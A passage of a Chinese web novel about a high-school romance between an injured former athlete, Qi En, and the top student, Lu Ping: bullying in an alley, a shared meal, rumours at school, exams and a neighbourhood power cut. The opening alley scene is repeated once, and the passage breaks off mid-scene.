卢俜虽愚蠢,但实在美丽……不对!是老实!齐恩觉得,他还做不出放她鸽子这等混蛋事。
然而,有时齐恩也要承认自己的自大,曾经那血与泪的教训:冰面上刺目狰狞的红迹,再也无法康健的脚踝,赛场上如潮水般的哗然……
脑海里一叠叠画面闪逝。
齐恩逐渐停下了脚步。
得,又不是没了他就回不了家。
她不是没了什么就活不下去的人。
齐恩往对面的公交车站走去。
只是,在两幢居民楼之间夹拥的一道巷口前,她停下了脚步。里面有动静,动静还不小。
齐恩看过去,在巷子的深处,三个头发五颜六色、穿着性感的太妹围着一个同校的男学生。
有女生嬉笑着拍打他的脸颊,用手掌。他顺着力度偏过头去,又有人拉他头上灰色的兜帽,露出亚麻褐色的卷发,恶劣地上手去拽去扯。
齐恩的呼吸缓慢下来。
她一瘸一拐往里走去。
“喂。”她说,“卢俜,在干嘛呢?”
卢俜不说话,靠着破败的墙面站稳了。
“三女一男,你们玩的挺开啊。”
齐恩不动声色地挽起袖子。
“加我一个?”
,待会他会讲的。”
“哦,吓死我。我还以为要挨批了。”
卢俜冷飕飕睨她:“不做亏心事。”
“我做什么亏心事儿了?”齐恩问。
“骗人。”他指的是早上那副弃拐。
齐恩装不明白:“我骗你啥了?”
卢俜正要说什么,身边人的肚子呼噜噜叫。
齐恩特别大声:“卢俜,肚子饿了也不说!”
温主任闻言回过头,问卢俜怎么不吃午饭。
卢俜铁青着脸不答话,齐恩憋着劲地偷笑。
到了办公室,温主任递过来表格:“下个月有领导下来视察,学校打算搞个优秀代表迎接,除了之前几个市三好学生,还有你,齐恩。”
齐恩指了指自己:“我?”
“体育人才也是人才。你知名度还那么高。”
得,都是前国手了,还要给学校当活招牌。
温主任看齐恩的脚,多问一句:
“你那时候脚伤应该痊愈了?”
“那得看我的日常出行有没有人帮助了。”
温主任发话:“卢俜,既然是你把人家弄伤,就要能帮则帮,照顾好人家,听见没?”
于是回班路上,齐恩还耀武扬威地撞卢俜的肩膀,学温主任的语气:“听见没?听见没?”
“……听见了!”卢俜几乎一字一顿地道。
卢俜把齐恩送到班门口,她问他留晚自习吗。
卢俜说留,齐恩说,那你晚自习下了来接我。
意思是要一起回家。
卢俜思索片刻,说我不留。
“那你放学了来十七班等我。”
这不是一个意思么。
卢俜无语凝噎。
他转身回班,方婕这时候才慌忙开口:
“卢俜,你真要天天送齐恩上下学?”
卢俜脚步不停:“这是温主任的安排。”
方婕咬了咬唇,“但是她摆明了……”
“摆明了什么?”
“摆明赖上你了!”
方婕满脸愠色:“她明明不缺人,非得找你,要你背她,还非当着温主任的面说。你只是不小心绊了她而已,她没必要一直缠着你吧?”
“不管有心无心,是我绊倒的,就要负责。”
“那个谌俞,他不是对齐恩很殷勤?干脆让他负责呗。还有张其薪,都是十七班的班干部,怎么就非要你这个一班的班长去负责她?”
她能想到,卢俜何尝想不到。
又或许齐恩也和他一样。
只想合理规避一些麻烦。
.
很奇怪的,放学后,齐恩并没有等到卢俜。
第二十一分钟,她有些坐不住了。
她望向走廊对面的一班门口。
人早已经走光了。
卢俜。
她在嘴里念叨一遍。
卢俜!你才是骗子!
她气冲冲地拎书包,关门关灯关教室,下楼。
一瘸一拐地往校门口去,给卢俜打电话。
没人接。
卢俜虽愚蠢,但实在美丽……不对!是老实!齐恩觉得,他还做不出放她鸽子这等混蛋事。
然而,有时齐恩也要承认自己的自大,曾经那血与泪的教训:冰面上刺目狰狞的红迹,再也无法康健的脚踝,赛场上如潮水般的哗然……
脑海里一叠叠画面闪逝。
齐恩逐渐停下了脚步。
得,又不是没了他就回不了家。
她不是没了什么就活不下去的人。
齐恩往对面的公交车站走去。
只是,在两幢居民楼之间夹拥的一道巷口前,她停下了脚步。里面有动静,动静还不小。
齐恩看过去,在巷子的深处,三个头发五颜六色、穿着性感的太妹围着一个同校的男学生。
有女生嬉笑着拍打他的脸颊,用手掌。他顺着力度偏过头去,又有人拉他头上灰色的兜帽,露出亚麻褐色的卷发,恶劣地上手去拽去扯。
齐恩的呼吸缓慢下来。
她一瘸一拐往里走去。
“喂。”她说,“卢俜,在干嘛呢?”
卢俜不说话,靠着破败的墙面站稳了。
“三女一男,你们玩的挺开啊。”
齐恩不动声色地挽起袖子。
“加我一个?”
齐恩学姐
夕阳赤列,余晖透过狭窄的巷口,喷洒在齐恩的脸颊上。光与影铸造出电影镜头里的画面。
她很美。饱满立体的额角、高耸苛刻的眉弓,瞳孔并非东亚人那般漆深,通透冷性,珍珠似的球体闪烁华光,黑长睫如骑士下击的重剑。
像油画里的人走过来,忽略她的腿脚有难处。也许残缺放在她身上也是特点,譬如维纳斯。
“这是在做什么?”她问。
刚才拽卢俜额发的那女生呼吸一滞,正扬手,却被另一个人拦下来,指着齐恩说了些什么。
“算你好运,书呆子!”女生阴狠瞪他一眼,“卢佳的话你别忘了,你他妈给我们等着!”
与齐恩擦身而过,那女生肆无忌惮地打量她,齐恩回以同样的目光:“怎么,还有事?”
“没事。”对方冷笑,“就是觉得你很有姿色,完全没必要偏袒一个精神有问题的人。”
“你说什么?谁的精神有问题?”
这时,不远处有警笛声响起。
原来是卢俜报了警。
他也并非逆来顺受。
那三人暗骂几声,匆匆离去。
唯留齐恩和卢俜还在原地。
“刚才为什么不还手?”
“……没有必要。”
“她们说的卢佳是谁?你姐?”
“……我后爸的孩子,继姐。”
“你姐和你有仇么?”
卢俜没再回话了。
“她们说的精神问题,那是什么意思?”
卢俜径直略过她,去应付外面的警察。
警车走后,他先是蹲下把满地散乱的书本装进背包,有些已经被撕成了数瓣。她们竟然做了这样的事,齐恩也是才知道。她踱过去,在他的身侧,只能看见后脑勺凌乱的巧克力卷毛。
“你这个人机。”
齐恩拿脚尖踢他。
“说话啊,卢俜。”
“……”
齐恩压抑住脚背的痛楚,缓缓下蹲。
直到和孱弱的少年处于同一水平线。
城市在变暗,晖色被钢筋抿成一道直线。
两人的影被一根线刺穿过去。
像连贯在一条绳上的两只蚂蚱。
“为什么不和老师讲?”
“……”
“这样下去多久了?”
“……”
“如果我没路过这里呢?”
“那你就没路过这里。”
卢俜终于发话,他一本本地收好了残缺的书,背起那只又添上许多枚脚印的帆布书包。
齐恩眼睛红了,一把拍开他伸给她搀扶的手,骂了一声滚蛋,自顾自踉跄着往前走去。
卢俜没有说话,戴上兜帽跟在她的身后。
齐恩已经尽力走得很快,但不敌健全人。
“干嘛!”齐恩回头瞪他,“我现在不需要你扶了,好学生,你还跟着我干嘛?”
“……我回家也是走这条道。”
这回无语的人换成了齐恩。
“行,你牛逼。”她抬脚往别处走。
片刻后,齐恩回头:“那你怎么还跟着我?”
卢俜迅速地舔过下唇,说了一声,对不起。
“对不起?”齐恩嗤笑,“对不起谁?”
卢俜抓了把汗湿的额发:“……你。”
“为什么?”齐恩停下。
“……下课没等你。”
“还有呢?”
“……”
“你个呆子!”齐恩咬牙切齿,继续往前走。
卢俜终于不总顺从,要过马路,他托住她。
两人加快了脚步,在黄灯闪烁间冲到对街。
四面八方都是浩大的人潮。
齐恩再看他时,他脸上的红被晦暗天色混淆。“我要去书店一趟。”他说,“买教材。”
“那你去啊。”齐恩说。
“……你等我一会。”
“谁等你?”齐恩好笑,“谁下午没等我?”
“我。”卢俜说,“我……马上买完。”
“三秒钟买完我也不等你。”
齐恩顿了顿,“两秒也不等你。”
“一秒我也不等你。”她作势要走。
卢俜没有阻拦她,只是跟上来。
“干什么?”齐恩睨他,“你书不买了?”
“……先送你回家。”卢俜伸手欲扶她。
“谁让你碰我了?!!”
卢俜被凶得缩回了手。
他一瞬间流露出了不加防备的无措,微微低下毛茸茸的头,卷翘碎发遮住可可色的瞳仁。
“你什么表情?”齐恩问,“我欺负你了?”
卢俜见她鞋带散了,犹豫片刻,蹲下身去系。
“是我欺负的你,还是别人欺负的你?”
“没人欺负我。”他压低声音说。
齐恩倏然挪开左脚:“再说。”
“别人欺负我,你……没欺负我。”
“不止,我还帮了你。”齐恩补充。
卢俜修长的手指得以追上她的鞋面。
“你的谢谢呢,好学生?”
卢俜说:“……谢谢。”
齐恩满意了。目视
他在她面前缓缓站直。
依旧很板正,干嘛非得刚才那个挫样?
“走,给你买书去。”齐恩朝他抬下巴。
卢俜终于能扶她,两人一起往书店走去。
木屋书店内,一台台暖光高脚灯渲染着氛围。
天色暗得彻底,玻璃倒映出整片街角的彩影。
卢俜翻着书包看损毁情况,折身去了教材区。
齐恩悠哉跟在他身后,回想起这人学习很好。
不,是非常拔尖。
“诶,全校第一。”她上前,“我想找你取取经,我的数学很差,写什么教辅才能提分?”
卢俜放下试卷问:“是哪方面的差?基础薄弱还是进阶题做不出来?你现在能考多少分?”
“之前一直在到处比赛,没怎么上学。”齐恩实话实说,“我只能考个二三十分。”
卢俜终于意识到这是多么艰巨的一个难题:“你真的打算只学一年就去高考吗?”
“能少浪费一年就少浪费一年吧,花期短。”
“我还是建议你好好提一下文化分。”
“如果成绩不理想,当然也考虑多读一年。”
话说到这个份上了,卢俜也不推脱什么。他拿起一本朱老师编写的高考数学课本篇。
“这个人,我知道他啊,我有写他的2000题,青铜小蓝本。”齐恩接过书,“你们这种大佬肯定是写那个决胜800的小红本,是吧?”
“不是。”卢俜也实话实说,“没有难度。”
齐恩张了张嘴,又闭上:“我就不兴问。”
齐恩很好奇强者的世界:“那你看什么书?”
“高老师会给我们编习题册。”卢俜指了指,“除了历年考题,我自己做高掌还有导秘。”
这是卢俜擅长的领域,但齐恩一头雾水,他也不想赘述,扯开了话题:“你打算走表演?”
齐恩说:“嗯,有这个打算,我学文的。”
卢俜沉思,走到隔壁书架:“过来这边。”
齐恩跟过去,卢俜给她拿了一本地理的状元手写笔记,还有历史和政治的金考卷。
导购员带他们去结账。
十几本书叠得高高的,其中大部分都是齐恩的。店员问要不要分开结账,齐恩说一起。
她率先付了款:“这回算我请你。好学生。”
这么多书,怎么搬回去也是个问题。好在店长说他们可以送书上门,打烊之前就派送。
出了书店,路两旁的夜灯已经全亮起来,不远处的小吃摊上,飘来一阵阵酱油炒饭的锅气。
齐恩摸了摸自己的肚子:“你吃没吃晚饭?”
卢俜摇头,没忍住说一句:“我中饭吃了。”
“我知道。”齐恩说,“是我没吃中饭。”
“你当着温主任的面怎么不说?”
“我害臊。”
“……”
“卢俜,我今天又是瘸着腿来救你,又是替你付教材钱,我还没对哪个男生这么好过。”
卢俜闻言望向她,齐恩微仰着下巴,理直气壮地问:“你不觉得我是你的救命恩人吗?”
卢俜不语。
齐恩追问:“是不是请救命恩人吃顿晚饭?”
“我可以请你吃晚饭。”但不是救命恩人。
齐恩左瞧右瞧:“你知道你现在像什么吗?”
卢俜被她看得紧张,再次回避视线。
蓬松柔软的卷发遮挡住深棕色的镜框。
“赛尔凯克卷毛猫。”齐恩盯他浅色的眼。
简直莫名其妙。卢俜往后退了一小步。
“小猫,你可以吃芝士汉堡。”齐恩继续说。
“你的意思是吃麦当劳?”卢俜不懂这个。
好在齐恩很赞
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同,年轻人就应该吃些高热量的速食产品。他们到麦当劳,坐下,排号取餐。
卢俜没什么想吃的,也不知道有什么套餐。齐恩点了两份芝士安格斯厚牛堡,替他点一份。
叫号到他们了,齐恩起身,卢俜说他去。
他端着盘回来,两个汉堡,一小份薯条。
齐恩很奚落:“就吃这么点儿?你这一米九的大个儿是怎么长的?怎么还没我点的多?”
卢俜吃着芝士汉堡,依旧小口小口咀嚼。
齐恩又忍不住:“吃这么斯文干嘛?”
卢俜捏紧包装纸,很快吃完,为避免她找茬。
周围很吵,他不禁皱了眉头。齐恩举着薯条。
“你想不想吃薯条?”
卢俜说,不想。
“晚上就吃一个汉堡,你不饿吗?”
“不饿。”卢俜说,“你自己吃。”
“诶———”齐恩受不了他这么端。
“吃一下。”她说,“我手举着很累嘛。”
卢俜僵持数秒,最终还是接过吃了下去。
“诶,你是不是不经常来吃啊。”
卢俜想,很明显么,“是。”
“因为你看着就一副和这里格格不入的样子。”齐恩又问,“你家里人不带你来吃?”
卢俜不愿意回答这个,她又问:“小时候呢,也没被带着来吃过?你难道不好奇吗?”
齐恩自答:“好吧,反正我小时候经常来吃。那时候就喜欢吃这些洋玩意,我爸下班后带我来吃,我老高兴了,那个打包盒我都要留着做纪念,因为不常吃到,我爸他平时太忙了。”
“诶卢俜。”她又问,“你和你姐怎么了?”
他说没怎么,齐恩笑了,没怎么会找人堵你?
“所以你一个人住,也和你姐有关系?”齐恩吮了一口咖啡液,“你爸妈不向着你吗?”
卢俜面无表情,第三次问她吃完了没有。
齐恩知道他不乐意说,耸耸肩不多问了。
他们回家,卢俜要背她,于是把书包递给她。
有点儿脏,齐恩嫌弃了。
他又一声不吭地背在胸前面。
“你这书包是该洗洗了。”齐恩念叨,“跟着你多可怜啊,天天挨人踹,地里打滚儿。”
“你的书也是。”齐恩补充。
卢俜不耐了:“那就再买。”
“你有几个钱啊,天天挥霍!”齐恩感慨,“好学生,乖乖仔,你这样下去不是办法。”
那什么叫办法,卢俜自问,不和她争辩。
“这样吧,我有一个办法。”
背她上楼,他克制不住喘息。
“说。”
“你跟了我。”
“……什么?”
“你当我的小弟,给我端茶倒水,就像现在,背我上下学,偶尔还请我吃点好吃的。”
天可怜见,卢俜觉得自己倒霉极了。
“坏处说完了,好处呢?”
“这哪是什么坏处啊?”齐恩偏着下巴乜他,“多少人想和我玩儿,我都不搭理的好吗?”
是么,我也不稀罕。卢俜唇角骤然下垂。
齐恩见他神色有些难绷,这才不逗他了。
“好处就是我罩着你。”
“谢谢,我不需要你罩着。”卢俜说完,又多添一句,“况且你自己还是那个瘸的。”
“那咋啦!那咋啦!上山的人不要瞧不起下山的人好不好?我虽落魄,威名还在!”
“……”
终于到1304门口,卢俜如释重负。
他解脱般把齐恩从背上放下。
“我说的你考虑考虑啊,卢俜,小卢猫。”
卢俜脸颊稍红,忍无可忍地责斥她。
“别再给我起那些稀奇古怪的绰号了!”
齐恩像是被他震慑住了,湿润的双唇微张。
卢俜以为凶得太过了,面色稍缓,齐恩又说:
“诶,我发现你的下睫毛好长啊,好学生。”
“……”
他和她讲不明白,真的。卢俜转身欲离,齐恩拦他:“没大没小,站住,喊声恩姐再走。”
“你也没比我大多少……”卢俜躲闪。
“此言差矣。”齐恩摇食指,“其实我比你们早一年入学,按复读班来算,下半年就是上高四的人。也就是说,我其实大了你两年级!”
她眉眼弯弯,如天井月色,皎洁生动。
“大你两届,叫声学姐不过分吧?”
学生代表
“……歪理。”卢俜偏过头去。
齐恩在月光下盈盈一落,像会消散。
她在看他,笑起来时,眼底尤其盛满亮色。
卢俜对美丽而麻烦的事物避之不及。
“好学生。”齐恩还在背后喊,“你的书不要了?刚才买书的时候留的是我家地址。”
“……明早送你上学的时候来拿。”卢俜脚步不缓,反而越来越快,像怕被什么绊住。
他说的话倒很够意思。齐恩斜斜靠在门边,没由来地勾起唇角。意识到自己笑得太过火了,她拍了拍白皙红润的脸颊,转身开门回屋。
有电话打进来,是来送书的快递员。齐恩把纸盒抱进客厅拆开,把自己买的书先清出来,剩下的拍了照片发给卢俜。
“你看看有没有漏掉的,是这几本书吗?”
过了五分钟,卢俜回了一句“是”,又说:
“你不用帮我拆,明天早上我自己搬上去。”
齐恩问他大晚上的在做什么。
卢俜很简单两个字,复习。
复习?齐恩才想起,刘彩今天刚说月考的事。
“你在准备月考?有没有什么独家方法?”
“也是期末考。”卢俜言简意赅,“做题。”
得,问了等于没问。
而且人家学的理科。
不过干坐着也不是办法,复课的这么多天,她已经给自己列了一个大致的追分计划。只是,齐恩有预感,数学一定是最难的一门。
齐恩的预感确实不错。
这周的周考卷子发下来。
她只有四十二分。
齐恩揉着自己的数学卷子,生无可恋地趴在桌上。给她垫底的谌俞一筹莫展,“怎么办啊……”
两位难兄难弟你看看我,我看看你。
不约而同地叹息一声。
袁礼米则接过齐恩的卷子,对比自己的看了一会儿:“齐恩,也不用太丧啦。其实你看,有几道送分题是你能做出来的,这个数列就是,还有一道向量大题,加上少说也有六十了。”
袁礼米的安慰很苍白,张其薪的安慰更实诚:“你看谌俞学三年还没你学三天考得好。”
“不是!”谌俞受不了了,指着自己,“齐恩的快乐就非要建立在我的痛苦上吗!”
“这是事实!”高玟与有荣焉,“除了英语,齐恩每一科的成绩都在你之上吧!”
“得得得,我只是没发挥好!”谌俞替自己辩护,“齐恩,这次月考我绝对考过你。”
齐恩只是更忧愁:“月考……还有月考……”
袁礼米伸手戳了戳齐恩紧蹙的浓眉:“千万别产生厌考情绪啊,那样只会恶性循环。”
齐恩嗯了两声,收拾好了心情。众人之中,张其薪的卷子是最后发下来的,一百四十二分。
“你这和我们是一个物种吗!”高玟瞪着他。
张其薪很无辜:“也还好吧,你们怎么不看看袁礼米?她就比我低个两三分好吗?”
“好啊!袁礼米!”高玟越过齐恩去掐她,“你敢耍老子!你跟我说的是一百出头!”
“一百三不是一百出头么?”袁礼米苦笑着躲她,“而且,我考的又没有张其薪好。”
“行了,你们两个学霸!”前排张其薪的同桌咬牙切齿,“再装逼我让你们飞起来!”
周围人在哈哈大笑,张其薪的视线却落到低眉的齐恩身上,她正琢磨着试卷上的错题。
“别灰心。”他说,“不会的题可以问我。”
齐恩闻言,抬起头笑了笑,“谢谢班长。”
“需要我的答题卡吗?”
“好。”齐恩接过。
有人问:“我找你要卷子,你怎么不借?”
“刚才没发下来。”张其薪推了推眼镜。
高玟和袁礼米倒是心知肚明,互眨了眼。
中午,齐恩让高玟和袁礼米帮忙带一份炒饭,她要在教室里订正地理卷子。谌俞也不吃饭,窝在座位上打游戏,匹配中途和齐恩聊两句。
“恩呐。”他说,“你真打算学这么认真?”
“嗯?”齐恩对着地理书记背纬度和风带,“学的认真?也还好吧。”
“其实你没必要走高考这条络。”谌俞始终这样想,“你这么有名气,以后当个运动网红,或者颜值博主,随随便便接个广告都不愁吃穿了。学习,那是我们这种普通人的路吧。”
“你怎么会这样想?”齐恩不由得失笑。
“本来的事。”这样的人一抓一大把。
“那也太没意思了。”齐恩合上书本,明朗的灯光映在她挺俏的鼻尖,“不觉得吗?”
好吧,看来她还很有自己的追求。
谌俞说:“我总算知道你为什么成功了。”
这和成功有什么关系?齐恩连不上他的脑回路。高玟带着腊肠炒饭回来了,她接过道谢。
餐吧里还有许多学生在吃饭,有些是家里送的便当,有些是拿手机偷偷点的外卖或小卖部的方便面,也有些从学校食堂打包回来吃。
齐恩赶时间,坐下边刷百词斩边吃饭。她在opposite卡住了,身后适时地传来谈论声。
一女生说:“要我说张其薪还是很可以的啊,这次数学考这么高,十班最高分都比他低。”
“就是啊,我们一班比他高的也没几个!”另外一名女生摇头感叹,“他是自学的吧!”
“对,感觉他们班数学老师就是个老头儿,说话都说不明白,教不出那种水平,又不是咱们柯老师……”
齐恩正往嘴里送饭的筷子一瞬间顿住。
“就是,不看看他们班都是什么牛鬼蛇神。”
齐恩回头,恰巧撞见那女生翻了个白眼,“就那个高玟,一天到晚嗓门真是大,全校的人都能听见她在笑!还有几个街溜子一样的体育生,你说那种环境哪有人学的下去啊?张其薪当初从你们班转走,也不知道是为什么。”
“你怎么不说还有个齐恩?”另一个女生问。
“齐恩……?其实我对她印象还可以啦——”
“可以什么呀可以?你没听说么,她人品也很一般,她在楼梯摔倒后就一直缠着卢俜啊!”
“什么叫缠着?搞得好像卢俜很好一样,本来就是卢俜把她搞摔的呀,难道不该负责吗?”
“但,但就是有人说,说她当着温主任的面,说什么卢俜害她摔倒的,特别会卖惨……”
“不可能吧,她看着就不像那样的人呀!”
“得了吧你,就是个颜控,凭什么觉得美女就做不出坏事?赛品又不等于人品。”女生冷笑一声,愈发激动地争辩,“我还听说……”
“听说什么?”齐恩打断了对话。
“谁听说?听谁说?听说谁?”
话题人物就在眼前,两人都愣了愣。
随即青涩的脸上浮现出羞赧的红色。
“没关系,随便你们说。我只是想知道你是听谁说的。”齐恩看向那个散播谣言的女生。
女生明显迟疑了一瞬,随即讨好地道:“你看我也是听说的,我其实不是那么想……”
“谁说的?”齐恩再次打断她。
“那个谁……方,方婕吧。”
“是就是,不是就不是,吧
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是什么意思?”
“是她是她,她老爱说人坏话了。”另一个女生赶忙找补,“而且你刚来的时候,会长她就看你不顺眼了,说你怎么那么高调张扬,我们都是知道的,但我们从来都没有那样想你。”
“对对,方婕也挺讨人厌的,成天围着男生们转,还爱搞雌竞……我们都不爱和她玩儿!”
只一瞬间,两人的态度就一百八十度大转弯,这也让齐恩很不舒服。
回到班上看手机,有人加她。
是刚才那个出卖方婕的女生。
“对不起哈齐恩,我不是故意那么说你的,要不是方婕瞎说,其实我对你印象也很好。”
“虽然方婕说的很过分,但我们都相信你不是那种人。”
后面还附带了几张聊天记录。
齐恩并不是容易被煽动的蠢货,即使方婕对她造谣生事,但这个女生转头就倒戈,同样也不值得信任。“谢谢你能告诉我这些。”保存完物证后,她放下了手机,头疼地捏了把眉心。
opposite,对立的。
今天是周五,放课后齐恩要和卢俜、方婕一起去政教处领学生代表穿的正装。她到的时候,另外两人已经到了,方婕不满意正装的尺寸。
“温主任,这个西装外套也太大了吧。”方婕看到齐恩来了,直接把西装拿到她身上比划,“你看齐恩骨架大,穿上才合适,我骨架那么小,穿不了的,我就穿我学生会的制服吧!”
齐恩似笑非笑地瞧着方婕,想知道她葫芦里卖的什么药,下一秒,和身侧的卢俜对视上。卢俜正被拉着比划一件白衬衫,他浑身紧绷,不自在地挪后了两步。
方婕又说:“卢俜的也是,尺寸不合。”
“小温,你这不行啊。”齐恩抱着臂揶揄,“让咱会长大人这么不满意,怎么办事的?”
这话放在她嘴里说出来,火药味少,调侃意味居多。并不为难谁,只是方婕这回确实事多。
温主任也百思不得其解:“尺寸挺合适啊。”
“我和卢俜穿学生会制服就好。”方婕坚持。
“但是人齐恩没有学生会制服,你们这……”
“没有制服也不太好。”方婕流露出为难的神色,“要不还是换一个我们学生会的人吧。”
“……什么?”温主任一时没反应过来。
“反正也就是个学生代表,德智体美劳,选一个合适的人就行了吧?我们学生会的体育部就有很多呀。”方婕轻飘飘地说,“你看齐恩,她也不愿意吧,而且腿脚也不大方便。”
“是啊。”齐恩懒散附和,“都怪卢俜同学没关照好我,我才没痊愈。都是他的错。”
卢俜被当枪使也不惶恐,顺其自然地认错:“对不起,温主任,是我没有照顾好她。”
方婕不高兴了:“这和卢俜又有什么关系!”
“那这和谁有关系?这是谁的错?我腿没好,这笔帐不算卢俜头上,还算到谁头上?”
齐恩又扣帽子:“是温主任的错,明知道我有腿伤还要我上,还弄错了正装尺码,是吧?”
方婕不知道该怎么答,齐恩口齿伶俐,周第那事温主任就知道了,更别谈朝夕相处的卢俜。
齐恩说爽了。
她这才舒出一口浊气,颇为认同地对温主任说,“学生代表,这可是学校的面子、师生的里子,我成绩不好,肯定担当不起这份工作。可别说成绩,在日常生活里,肯定也要选最作风优良的。”
“可作风优良这一点?”
齐恩把方婕从头看到脚。
“我怎么就这么不认同呢?”
她笑着摇头,走得很干脆。
突发停电
齐恩没有参与接待。
她本身也不乐衷面子工程。
比起这个,下周就是月考周了。
周四周五连考,下周一就能把卷子批出来。
其实考两天是最让学生崩溃的考法。高考是正儿八经三天,休息和临考复习的时间相对充分,两天简直太赶了,往往上午考完语文,下午就是数学英语,第二天六门副科。别说复习了,对答案都来不及,有的同学选科很倒霉,一上午或一下午都在考场,没有翻书的功夫。
这时候,齐恩才佩服起卢俜的先见之明,趁着周末就准备起来,且人家学的还是理科,要记要背的没有文科多。都说会学习的在脑海里有一个记忆宫殿,齐恩的脑海里只有一片废墟,各科的书摊在桌子上,要复习吧,还是预习?完全焦头烂额,像砧板上扑腾的一条死鱼。
得了,有什么办法,硬着头皮考呗。
好死不如赖活着,垂死也要挣扎一番。
加油,加油。齐恩在进考场前给自己鼓劲。
因为油加得太多,不出所料的……考糊了。
周五考完了最后一门,齐恩已经彻底萎靡不振,趴在课桌上咬着指甲思考着人生。
高玟到处找人对答案,袁礼米不堪其扰,堵住自己的耳朵。谌俞组织着聚餐,问了张其薪,又来问后排的三位女生:“一起去搓一顿吧,考试周太费脑细胞了,吃顿好的补补脑子。”
齐恩应下,打开手机给卢俜发消息。
“今天和朋友出去吃饭,不用等我。”
一起回家的关系,似乎也不远不近。其实自从上次和方婕不痛快之后,连带着一班的卢俜,也让她不知道该怎么相处,方婕和卢俜关系还不错吧?这样会不会让大家都很尴尬?
齐恩当时想过,但没顾及那么多,如果卢俜因为这个就疏远她,那只能证明他是一个不值得她深交的人。不过卢俜没有,或者说有也让人看不出来,他性格总是闷闷的,不爱说事。
如今齐恩的腿也好的差不多,并不需要人搀扶,只不过这几天谁都没提,所以两个人相安无事的上下学。今天或许是个契机,齐恩也等到了卢俜的消息:“好,那我先回聚民了。”
谌俞和高玟商量着去哪儿吃,齐恩收拾书包,把试卷用文件塑料夹一张张整理好,周末要写的教材也捡了出来。张其薪看到她的教辅,问:“你什么时候买的这些?挑得挺好的。”
“上周和卢俜去买的。”齐恩说,“就青街的那间满果书店,我还办了一张会员呢。”
张其薪的重点放在前半段:“你和卢俜?”
“是啊。”齐恩说,“放学也顺路嘛。”
张其薪沉默片刻:“你知道他和方婕的事?”
齐恩勾了勾唇角:“是我应该知道的事吗?”
“每个人都是有私生活的,人家的私事儿,我可不想过多关注。”她耸肩,“朋友而已。”
“他们之间的关系,比朋友复杂一些……”
“没有啊。”齐恩说,“我是说我和卢俜。”
“……这样。”张其薪意识到自己的出格。
齐恩背起书包又问:“你对卢俜有意见么?”
“意见算不上。”他说,“方方面面吧。”
“我今天中午在餐吧听别人说,卢俜这次考得比你高五分。”齐恩状似不经意地提起。
“他确实挺厉害的。”张其薪的右眼睑在跳。
“而且他和方婕关系确实不错。”齐恩继续说,“方婕和他一起穿学生会正装迎宾呢。”
张其薪:“他们……关系本来就不太寻常。”
“嘿———”齐恩觉得没劲了,歪着头看他。
她噗嗤一笑,“张其薪,你这样好假哦。”
张其薪不明所以,齐恩指着他的鼻子说:“明明心里很在乎,怄气死了,干嘛那种表情?”
张其薪神情变换一瞬:“我在乎?没有吧。”
“人在三种情况下会反问,逼迫、心虚或引导。”齐恩有理有据,“你是哪一种?”
张其薪确实百口莫辩,又被齐恩碰了碰肩膀:“你还喜欢方婕吧,对吗?对吧对吧?”
让他内心迟疑的人就在眼前。
张其薪不知道该如何回答,
到了青年大街,谌俞安排大家吃的一家老店,杏吴牛肉火锅,也是榕城这边的特色。
真正的美食,莫过于夏天四十度的火锅,冬天零下十度的冰淇淋,所以大家都吃得很畅快。
“你们是外地人,不知道。”谌俞下了一筷子嫩肉,“这些牛身上的部位都是有讲究的,像吊龙,就是牛脊骨的长条肉,特别嫩,肥品就是油脂多的,吃进嘴里那个香啊……”
“不对啊。”高玟说,“你不是新疆人吗?”
“四线担!”谌俞瞪眼,“谁和你说我是新疆人啦!我和张其薪都是正儿八经的潮汕人!”
“张其薪倒像,你这浓眉大眼的,真不像。”袁礼米讶异,“我一直以为你是少数民族。”
“我是少数民族?我还说齐恩是外国人呢!”谌俞摸下巴,“等等,齐恩还真是混血。”
“所以你们都是哪里人?”齐恩问她们。
“我是湖北的,高玟哈尔滨人。”袁礼米说。
“有你这么矮的东北人么?”齐恩忍俊不禁,“小萝卜头从那么远的地方来上学啊?”
高玟皱着眉头,拍了拍胸脯:“如假包换的!下次给你们带点儿哈市的特产来吃吃。”
“叔叔考考你们,这是什么肉?”谌俞夹起。
“匙柄。”张其薪一看就知道,“肩胛肉。”
“厉害。”高玟说,“你们潮汕人太牛逼。”
高玟又问潮汕人是不是都很排外,张其薪说没有这回事,谌俞则一手捂住脸,隐忍模样:“赶紧别说了,我排外病现在就要发作了!”
吃完晚饭,高玟说九点还有网课,就和大家分道扬镳了。袁礼米紧随其后,说自己社交电量已经耗光,拦了辆出租车离开飞速。
只剩下三个人面面相觑。
“去哪儿?”谌俞问,“有想去的地方吗?”
张其薪问齐恩:“你家长会管你晚归吗?”
“都不在本地。”齐恩耸肩,“玩儿呗。”
“要不咱们去网吧?”谌俞双眼亮堂,“来一把惊险刺激、酣畅淋漓的吃鸡三排!”
三小时后。
谌俞揉着充血酸胀的眼眶:
“不行了,我的眼睛要瞎了。”
齐恩滴眼药水,顺手递给他。
“我也,还是回寝宫眠一眠吧。”
张其薪捏了把泛酸的手肘,“我都睡着了。”
他回回都是开局就被补了,救都来不及。
三人结完账出门,谌俞说:“要不我们先送你回家吧,你一个女生走夜路也不好。”
“不用,我家那么近。”齐恩搓了把脸颊,让自己精神一些,“就在前面的聚民街口。”
“那确实不远。那我和张其薪打车走了啊?”
张其薪补充:“到家给我们发个消息。”
齐恩比了个ok的手势,往反方向走去。
人已经走出去好远,只剩下高挑纤细的背影,谌俞还不舍得收回目光。“行了行了。”张其薪伸手在他眼前晃了晃,“下周一又不是见不到。”
谌俞嘿嘿一笑,快乐小狗似的。很快地刷完了共享单车,他就绕着张其薪骑车转圈。
“你知不知道,我真的觉得齐恩好厉害的,做什么都很牛逼,然后……然后还漂亮!”
后者才是主要原因吧。
张其薪失笑,“她确实有够优秀的。”
“你说,我要不要正儿八经去追求她?”
“……你可以去试试,不过她可不缺人追。”
“确实,咱们年级好多男生都偷看她,还每次大课间都拿着水杯在咱们班门口晃……“
“她是很受欢迎,但没那么容易熟络起来。”
张其薪的话不无道理,谌俞犯了难,不过想到今晚的同游,他很快又雀跃起来。
.
这一头,齐恩拖着疲惫的脚步,尽兴而归。
走到社区旁的便利店,她有点口渴,正好进去买一瓶水,没想遇见了熟人。
卢俜坐在休息区,帽沿罩住褐色的小羊毛卷发。他正带着耳机学习。
“嘿!”她差点儿没发现他,走过去,拍了拍他的肩膀。“你怎么在这儿学?不回家么?”
卢俜面无表情看她几秒钟,“家里停电了。”
“你上我家啊,难道你今晚打算露宿街头?”
“……整个聚民社区都停电了。”卢俜说,“你不知道吗?你没看社区群聊吗?”
